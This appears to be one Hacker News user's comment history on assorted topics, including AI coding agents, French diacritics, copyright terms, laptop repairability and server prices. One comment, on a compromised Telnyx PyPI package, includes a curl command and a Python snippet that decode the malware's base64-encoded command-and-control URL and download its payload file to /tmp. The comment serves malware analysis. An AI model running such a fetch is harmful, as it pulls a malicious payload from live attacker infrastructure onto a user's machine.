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_ache_··on OpenYak – An open-source Cowork that runs any model and owns your filesystem
Absolutely, that is misleading to not-much-technical people, maybe intentionally. Does not inspire confidence.
_ache_··on OpenYak – An open-source Cowork that runs any model and owns your filesystem
> Yes. OpenYak is local-first. Your conversations and files are stored only on your machine. When using cloud models, only API calls to LLM providers leave your computer.

So local-first and still upload files to cloud models if you configure it.

_ache_··on Spanish legislation as a Git repo
In France, not only our law are versioned. It's formally proved too!

https://catala-lang.org/

*Edit*: Woah ! The French crew is here. We are at least 5 quoting a variation of <https://www.legifrance.gouv.fr/> for versioning.

_ache_··on Telnyx package compromised on PyPI
How can we get the wav ? `curl -A "Mozilla/5.0" "http://<C2C_EndPoint>/hangup.wav"` does hang.

No ... I tried hard. But still get a timeout.

    import urllib.request
    import base64

    def _d(x):
        return base64.b64decode(x).decode("utf-8")


    C2C_URL = _d("aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg==")
    # C2C_URL = "http://XXXXX:8080/ringtone.wav"

    r = urllib.request.Request(
        C2C_URL, headers={_d("VXNlci1BZ2VudA=="): _d("TW96aWxsYS81LjA=")}
    )
    with urllib.request.urlopen(r, timeout=15) as d:
        with open("/tmp/exatracted_tpcp.wav", "wb") as f:
            f.write(d.read())
_ache_··on Explore the Hidden World of Sand
I come from a island where its common to pain with sand. About one hundred beach, around two hundred colors, green is hard to make.

I learned that local sand composition is very affected by local geology.

_ache_··on French e, è, é, ê, ë – what's the difference?
And ê, when pronounced (most of the cases) it's just a è.

ë, contrary as said in the article (full slop?) is the most complicated and with some exceptions. But there is so few words that use that letter that you just don't have to care.

Just pronounce ë as è when its in (inside) a word and not pronounced at all when it's at the end. The only exception I can think of is canoë (pronounced conoé), but everybody will understand if you say cano.

_ache_··on Arm AGI CPU
They did ask AI if AGI what a great name. It said that it was the greatest name possible. It's bold, aspirational, and ... polarizing?!

Oh god! Mistral tell me it's highly polarizing, will make the buzz and it's risky but anyway people will know that ARM is doing CPU again now (maybe I did put too many context).

_ache_··on Books of the Century by Le Monde
About IP. It's 70 years after the death of the author in France, so Camus (car crash in 1960) books will be PD in 2030. There is an exception for people who lost live from war (+30 years), so 2044 is the year the elevate to PD for "Le petit prince".

I don't understand that right is attached to local legislation. Like you will have access to these book before we do because of the local legislation of USA? That is a bit crazy.

_ache_··on OpenCode – Open source AI coding agent
I was going to say that pnpm isn't that old but wikipedia says 2017!
_ache_··on OpenCode – Open source AI coding agent
If you evaluate fascism in terms of donation, yes.

But it is more about the political opinions, IMHO, and Anthropic doesn't sound more attractive than the competitors. Anthropic is very much to the right of the transhumanism spectrum (even if xAI and OpenAI are even farther).

_ache_··on Atuin v18.13 – better search, a PTY proxy, and AI for your shell
There is no way is it not generated on user computer.

"get the correct command first" and "shipping a [external] dataset" are incompatible.

_ache_··on OpenCode – Open source AI coding agent
Yes, you are doing it too with antropic an xAI. I don't get your point. xAI and OpenAI are a little worst? Maybe, still very well fascism.
_ache_··on Anthropic takes legal action against OpenCode
AI company crying over IP violation. Incredible.
_ache_··on Mathematics Distillation Challenge – Equational Theories
As I say, I understand the goal of having a cheat sheet that can distills a big chunk of math. But that distillation would have been better done by a neural network instead of the creation of a prompt (fine-tuning or pure distillation). But studying that neural network will be harder.

It's explicitly stated that the goal is to improve performance of cheap models but I assume, like you did, that they are hopping that the plain text may be useful to humans too.

_ache_··on Qatar helium shutdown puts chip supply chain on a two-week clock
Well, I only tried ~~one~~ two servers:

T560:

Priced £3,505 in may 2025: https://web.archive.org/web/20250702124754/https://www.dell....

Now at £13,979: https://www.dell.com/en-uk/shop/dell-servers-storage-network...

It's a 10k£ increase or about x3.

I also just tried with R360, x2 in price only, from $4,959 dec 2025 to $17,142 today.

dec 2025: https://web.archive.org/web/20251210154822/https://www.dell....

Today: https://www.dell.com/en-us/shop/servers-storage-and-networki...

Edit: Add another one with US dollar.

_ache_··on Mathematics Distillation Challenge – Equational Theories
Already saw it on Mastodon yesterday. A better presentation is in the other link. (https://competition.sair.foundation/competitions/mathematics...)

I understand the idea of a distillation challenge but it really feels like the poor man's solution to a problem that could be better solved by training a LLM and analysing the layers. In the end, as I value a condensed "cheat sheet", if the goal is to improve open-source model. A better approach seems to recreate the AlphaProof system, longer to do, but more efficient. The path taken by mathematicians now is agentic system with general LLM.

- Masto: https://mathstodon.xyz/@tao/116225525978210807

- AlphaProof: https://deepmind.google/blog/ai-solves-imo-problems-at-silve...

- AlphaProof description: https://www.nature.com/articles/s41586-025-09833-y

_ache_··on Qatar helium shutdown puts chip supply chain on a two-week clock
They are toxic.
_ache_··on Show HN: Axe – A 12MB binary that replaces your AI framework
Aren't your Hackernews answers automatised?
_ache_··on Lenovo’s new ThinkPads score 10/10 for repairability
On part with top ThinkPad, the experience is overall better (better Linux support, less noise, easier to hack, ...).

The bad points: - The colored bezel is shit. - The way is open wasn't good for me and had to switch the hinges. Now I don't even think about it, but it was really bad before. - The 60W Power adapter doesn't last long and had to change it each year. Now I switch to the 180W. - The battery is ok but not exceptional

The good points: - The screen is very good (don't remember which one I choose, but not the first one, nor the last, I remember only 3 options so ...). - The compute power is quite good, I'm impressed about that. - Easy to clean, open it with the screwdriver, a little "Compressed air" on it, a little "Eyeglass Cleaner", and it's basically new. - The support was very very good. I had a defective screen kit. The ask me for photos, twice (two opinions from different people). Then conclude, like I already did, that it was an internal problem (but they have to verify I'm not responsible for the defect, that is normal) and send me a display kit free of charge. I had to send back the old on, free of charge too.

_ache_··on US private credit defaults hit record 9.2% in 2025, Fitch says
What the hell ?! Nearly 10% ?! How can it be?! World wide, it seems to be around 4% since 2004.

Page 22 (French but it's just numbers, you can read it). <https://www.eib.org/files/publications/thematic/gems_default...>

_ache_··on No right to relicense this project
"Exposure" means here, I think, that they feed the 6.X code version to Claude.
_ache_··on Jensen Huang says Nvidia is pulling back from OpenAI and Anthropic
My bet is Nvidia is using massive AI ability to dictate its investments. And it logically predict that not much (more) investments are needed and it need time to become profitable.

That a signal that nobody should invest more in the IA big companies and now they MUST become profitable soon.

_ache_··on Lenovo’s new ThinkPads score 10/10 for repairability
I switch from ThinkPad to Framework because they couldn't send me a replacement keyboard. They want me to send the keyboard back to get a refund but I never receive it so... I never did get a refund.

Later, Framework send me a laptop in 1 week and later a replacement screen in less then a week. It's been 3 years ago now.

_ache_··on /e/OS is a complete, fully “deGoogled” mobile ecosystem
The OS is working well, but have privacy and security concerns. Is it better than a stock OS? I don't know, maybe, maybe not, it depends on the stock OS.
_ache_··on /e/OS is a complete, fully “deGoogled” mobile ecosystem
Yeah, it's a typo (I'm french speaking, AI is IA in french and sometime I type it in french instead of english).
_ache_··on /e/OS is a complete, fully “deGoogled” mobile ecosystem
I must agree, you are right, GOS is only on Pixel phones.

But we have to keep in mind that /e/ has a lot of problems, the only one solved is sending data to Google. The security aspect of the OS is problematic and some key elements of a privacy seem questioning (AI integration, commercial collaborations, ...).

Fix: IA => AI typo and various English errors.

_ache_··on How Long Is the Coast of Britain? (1967)
Actually ... Not infinitely long. You wont have a precise value since each measure can be increased by taking a smaller "step" or "ruler", but it won't be infinite.
_ache_··on A Chinese official’s use of ChatGPT revealed an intimidation operation
In France we have a report on Chinese officials abusing diplomatic rights to oppress Chinese critics (from Chineses expatriated people).

The disproportion between how this people express they opposition and how Chinese officials track them is HUGE. This very much feel unnecessary.

It was here: https://www.france.tv/france-2/envoye-special/5971095-la-chi...

https://www.youtube.com/watch?v=k-prS7BlLpI

_ache_··on Danish government agency to ditch Microsoft software (2025)
You are right, but I have the feeling that the Google, Microsoft, ... and the IA companies think that the EU is a acquired market. It's false, they can shift off the US, they eventually will.
_ache_··on The bare minimum for syncing Git repos
You know you can send commit by email ?
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